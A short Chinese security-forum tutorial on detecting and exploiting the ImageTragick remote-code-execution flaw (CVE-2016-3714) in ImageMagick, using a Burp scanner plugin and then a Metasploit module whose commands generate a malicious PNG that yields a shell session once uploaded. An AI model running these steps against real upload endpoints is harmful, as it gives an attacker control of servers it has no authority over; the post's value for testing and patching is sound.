ImageTragick的快速检测及利用

chamd5 / 2017-02-15 03:34:00 / 浏览数 4253 安全技术 技术讨论 顶(0) 踩(0)

如何利用burp+metasploit快速检测&利用

ImageTragick(CVE-2016–3714)

From ChaMd5安全团队核心成员 小meet

ImageMagick是用来处理图片的通用组件，涉及PHP,JAVA,Python,Perl和Ruby等流行语言，16年4月被发现存在RCE，攻击者只需上传构造好的图片即可获取服务器权限。

对这个漏洞的传统检测方式是生成payload通过第三方网站查看DNS解析记录的方式，耗时又不方便，这里介绍一个快速检测利用的方法。

首先需要一个burp插件叫burp-image-size

https://github.com/silentsignal/burp-image-size/releases/download/v0.3/burp-image-size-v0.3-java1.6.jar
安装时注意运行环境。

上传图片时抓包选择send toactive scan，即可调用插件对上传点进行扫描。漏洞存在则飚红显示高危漏洞。如图所示成功检测。

接下来利用metasploit getshell

useexploits/unix/fileformat/imagemagick_delegate

show options 查看一下选项

我这里选择默认的配置，接下来执行

exploit -j 生成了一个msf.png

将图片上传，就可以返回一个会话连接

使用sessions -i 1 与会话进行交互

参考链接：

http://www.freebuf.com/vuls/104048.html

http://www.mottoin.com/89312.html

https://www.rapid7.com/db/modules/exploit/unix/fileformat/imagemagick_delegate

上一篇：网络安全法 VS ISO27000 下一篇：Powersploit 内网渗透神器

1. 1 条回复

chamd5 2017-02-15 04:41:22

0 回复Ta

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板